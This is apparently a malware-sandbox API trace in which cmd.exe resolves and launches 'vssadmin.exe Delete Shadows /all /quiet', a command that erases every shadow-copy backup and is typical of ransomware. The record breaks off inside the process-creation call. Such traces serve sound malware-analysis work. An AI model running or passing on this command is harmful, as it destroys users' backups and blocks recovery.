	[0195.307] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x18f760 | out: lpFindFileData=0x18f760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa9fd370, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0xa9fd370, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="Desktop", cAlternateFileName="")) returned 0x191320
	[0195.307] FindClose (in: hFindFile=0x191320 | out: hFindFile=0x191320) returned 1
	[0195.308] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0195.308] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0195.308] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0195.308] GetProcessHeap () returned 0x190000
	[0195.308] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ab6f0 | out: hHeap=0x190000) returned 1
	[0195.308] GetEnvironmentStringsW () returned 0x1a8a60*
	[0195.308] GetProcessHeap () returned 0x190000
	[0195.308] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xae8) returned 0x1aac50
	[0195.309] FreeEnvironmentStringsW (penv=0x1a8a60) returned 1
	[0195.309] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0195.309] GetProcessHeap () returned 0x190000
	[0195.309] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a8300 | out: hHeap=0x190000) returned 1
	[0195.309] GetProcessHeap () returned 0x190000
	[0195.309] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4016) returned 0x1acc80
	[0195.310] GetProcessHeap () returned 0x190000
	[0195.310] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x68) returned 0x1a8300
	[0195.310] GetProcessHeap () returned 0x190000
	[0195.310] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4010) returned 0x1b0ca0
	[0195.311] GetProcessHeap () returned 0x190000
	[0195.820] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4010) returned 0x1b4cc0
	[0195.825] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0195.829] GetProcessHeap () returned 0x190000
	[0195.829] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x420) returned 0x1ab740
	[0195.830] SetErrorMode (uMode=0x0) returned 0x0
	[0195.830] SetErrorMode (uMode=0x1) returned 0x0
	[0195.830] GetFullPathNameW (in: lpFileName="vssadmin.exe Delete Shadows \\all \\.", nBufferLength=0x208, lpBuffer=0x1ab750, lpFilePart=0x18f910 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe Delete Shadows \\all", lpFilePart=0x18f910*="all") returned 0x46
	[0195.831] SetErrorMode (uMode=0x0) returned 0x1
	[0195.831] GetProcessHeap () returned 0x190000
	[0195.831] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x1ab740, Size=0xaa) returned 0x1ab740
	[0195.831] GetProcessHeap () returned 0x190000
	[0195.831] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ab740) returned 0xaa
	[0195.831] NeedCurrentDirectoryForExePathW (ExeName="vssadmin.exe Delete Shadows \\all \\.") returned 1
	[0195.832] GetProcessHeap () returned 0x190000
	[0195.832] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xa4) returned 0x1ab800
	[0195.832] GetProcessHeap () returned 0x190000
	[0195.832] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x134) returned 0x1ab8b0
	[0195.832] GetProcessHeap () returned 0x190000
	[0195.832] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x1ab8b0, Size=0xa4) returned 0x1ab8b0
	[0195.832] GetProcessHeap () returned 0x190000
	[0195.833] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ab8b0) returned 0xa4
	[0195.833] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0195.833] GetProcessHeap () returned 0x190000
	[0195.833] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xe8) returned 0x1ab970
	[0195.847] GetProcessHeap () returned 0x190000
	[0195.847] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x1ab970, Size=0x7e) returned 0x1ab970
	[0195.847] GetProcessHeap () returned 0x190000
	[0195.847] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ab970) returned 0x7e
	[0195.847] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0195.848] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe Delete Shadows \\all\\quiet.*", fInfoLevelId=0x1, lpFindFileData=0x18f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f680) returned 0xffffffffffffffff
	[0195.848] GetLastError () returned 0x3
	[0195.848] GetProcessHeap () returned 0x190000
	[0195.848] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b0ca0 | out: hHeap=0x190000) returned 1
	[0195.849] GetProcessHeap () returned 0x190000
	[0195.849] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4cc0 | out: hHeap=0x190000) returned 1
	[0195.849] GetProcessHeap () returned 0x190000
	[0195.849] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc80 | out: hHeap=0x190000) returned 1
	[0195.850] GetConsoleOutputCP () returned 0x1b5
	[0195.850] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0195.850] GetUserDefaultLCID () returned 0x409
	[0195.852] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a047b50, cchData=8 | out: lpLCData=":") returned 2
	[0195.852] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18fb60, cchData=128 | out: lpLCData="0") returned 2
	[0195.852] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x18fb60, cchData=128 | out: lpLCData="0") returned 2
	[0195.852] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x18fb60, cchData=128 | out: lpLCData="1") returned 2
	[0195.852] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a05a740, cchData=8 | out: lpLCData="/") returned 2
	[0195.852] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a05a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0195.853] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a05a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0195.853] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a05a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0195.853] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a05a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0195.853] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a05a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0195.854] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a05a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0195.854] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a05a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0195.854] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a047b40, cchData=8 | out: lpLCData=".") returned 2
	[0195.854] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a05a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0195.854] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0195.856] GetProcessHeap () returned 0x190000
	[0195.856] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x20c) returned 0x1aba70
	[0195.856] GetConsoleTitleW (in: lpConsoleTitle=0x1aba70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0196.437] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0196.437] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0196.437] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0196.437] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0196.438] GetProcessHeap () returned 0x190000
	[0196.438] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4012) returned 0x1acc80
	[0196.438] GetProcessHeap () returned 0x190000
	[0196.438] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc80 | out: hHeap=0x190000) returned 1
	[0196.441] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77
	[0196.441] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16
	[0196.441] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16
	[0196.442] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13
	[0196.442] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13
	[0196.442] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4
	[0196.442] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4
	[0196.442] GetProcessHeap () returned 0x190000
	[0196.442] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xb0) returned 0x1abc90
	[0196.442] GetProcessHeap () returned 0x190000
	[0196.442] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2a) returned 0x1a6530
	[0196.444] GetProcessHeap () returned 0x190000
	[0196.444] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x48) returned 0x1abd50
	[0196.447] GetConsoleTitleW (in: lpConsoleTitle=0x18fa70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0196.449] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vssadmin.exe")) returned 0xffffffff
	[0196.449] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0196.449] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0196.449] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0196.449] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0196.449] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0196.449] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0196.450] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0196.450] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0196.450] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0196.450] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0196.450] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0196.450] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0196.450] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0196.480] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0196.481] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0196.482] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0196.482] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0196.482] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0196.482] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0196.482] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0196.483] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0196.484] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0196.485] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0196.486] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0196.487] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0196.487] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0196.487] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0196.487] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0196.487] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0196.487] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0196.489] GetProcessHeap () returned 0x190000
	[0196.489] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x218) returned 0x1abda0
	[0196.489] GetProcessHeap () returned 0x190000
	[0196.489] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x62) returned 0x1abfc0
	[0196.489] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0196.490] GetProcessHeap () returned 0x190000
	[0196.490] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x420) returned 0x191320
	[0196.490] SetErrorMode (uMode=0x0) returned 0x0
	[0196.490] SetErrorMode (uMode=0x1) returned 0x0
	[0196.491] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x191330, lpFilePart=0x18f300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f300*="Desktop") returned 0x25
	[0196.491] SetErrorMode (uMode=0x0) returned 0x1
	[0196.491] GetProcessHeap () returned 0x190000
	[0196.491] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x191320, Size=0x76) returned 0x191320
	[0196.491] GetProcessHeap () returned 0x190000
	[0196.491] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x191320) returned 0x76
	[0196.491] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0196.491] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0196.492] GetProcessHeap () returned 0x190000
	[0196.492] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x128) returned 0x1ac030
	[0196.492] GetProcessHeap () returned 0x190000
	[0196.492] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x240) returned 0x1913b0
	[0196.495] GetProcessHeap () returned 0x190000
	[0196.495] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x1913b0, Size=0x12a) returned 0x1913b0
	[0196.495] GetProcessHeap () returned 0x190000
	[0196.495] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1913b0) returned 0x12a
	[0196.495] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0196.495] GetProcessHeap () returned 0x190000
	[0196.495] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xe8) returned 0x1914f0
	[0196.495] GetProcessHeap () returned 0x190000
	[0196.495] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x1914f0, Size=0x7e) returned 0x1914f0
	[0196.495] GetProcessHeap () returned 0x190000
	[0196.495] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1914f0) returned 0x7e
	[0196.495] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0196.496] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x18f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f070) returned 0xffffffffffffffff
	[0196.496] GetLastError () returned 0x2
	[0196.496] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x18f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f070) returned 0xffffffffffffffff
	[0196.497] GetLastError () returned 0x2
	[0196.497] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x18f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f070) returned 0xffffffffffffffff
	[0196.506] GetLastError () returned 0x2
	[0196.507] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0196.507] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x18f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f070) returned 0x191580
	[0196.507] GetProcessHeap () returned 0x190000
	[0196.507] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x28) returned 0x1a45b0
	[0196.507] FindClose (in: hFindFile=0x191580 | out: hFindFile=0x191580) returned 1
	[0196.508] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0196.508] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0196.508] GetConsoleTitleW (in: lpConsoleTitle=0x18f5c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0196.508] InitializeProcThreadAttributeList (in: lpAttributeList=0x18f378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18f338 | out: lpAttributeList=0x18f378, lpSize=0x18f338) returned 1
	[0196.508] UpdateProcThreadAttribute (in: lpAttributeList=0x18f378, dwFlags=0x0, Attribute=0x60001, lpValue=0x18f328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18f378, lpPreviousValue=0x0) returned 1
	[0196.509] GetStartupInfoW (in: lpStartupInfo=0x18f490 | out: lpStartupInfo=0x18f490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0196.509] GetProcessHeap () returned 0x190000
	[0196.509] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x20) returned 0x1a45e0
	[0196.509] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0196.509] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0196.509] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0196.509] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0196.509] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0196.509] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0196.509] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0196.510] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0196.511] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0196.512] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0196.512] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0196.512] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0196.512] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0196.512] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0196.512] GetProcessHeap () returned 0x190000
	[0196.512] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a45e0 | out: hHeap=0x190000) returned 1
	[0196.512] GetProcessHeap () returned 0x190000
	[0196.512] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x12) returned 0x1ac160
	[0196.512] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0197.000] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe  Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18f3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe  Delete Shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f360 | out: lpCommandLine="vssadmin.exe  Delete Shadows /all /quiet", lpProcessInformation=0x18f360*(hProcess=0x54, hThread=0x50, 